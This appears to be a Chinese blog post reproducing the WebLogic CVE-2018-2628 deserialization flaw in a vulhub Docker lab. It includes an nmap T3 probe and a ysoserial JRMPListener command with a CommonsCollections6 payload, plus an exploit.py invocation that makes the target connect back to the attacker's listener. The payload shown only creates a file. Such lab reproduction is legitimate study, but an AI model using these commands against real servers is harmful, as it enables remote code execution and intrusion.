Fork me on GitHub

复现weblogic CVE-2018-2628

参考文献:https://github.com/vulhub/vulhub/tree/e9509e2893909c3147fc33e804c34fabdffbdf3b/weblogic/CVE-2018-2628
https://paper.seebug.org/584/
http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html

影响范围

1
2
3
4
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

JRMP(Java远程方法协议)

  • JRMP是Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。该协议只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
  • RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。

运行weblogic测试环境

1
/CVE-2018-2628# docker-compose up -d

访问http://xxxx:7001/console,初始化整个环境

漏洞复现

  • 检测weblogic版本信息和t3协议是否开启
    1
    nmap -v -n --script weblogic-t3-info 靶机ip - p7001,7002

  • 启动一个JRMP Server:
    1
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'touch /tmp/sheng'

weblogic中的依赖jar中,使用了CommonsCollections 3.2.0。在rmi远程记载后,对加载的内容进行反序列化时,将会触发RCE。所以poc使用CommonsCollections

  • 使用exploit.py脚本,向目标Weblogic(http://靶机ip:7001)发送数据包:
    1
    python2 exploit.py 靶机ip 7001 ysoserial.jar  本机ip 7777 JRMPClient

PS:[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。

  • 执行完成后,在靶机上输入docker-compose exec weblogic bash进入容器中,可见/tmp/sheng已成功创建
-------------本文结束感谢您的阅读-------------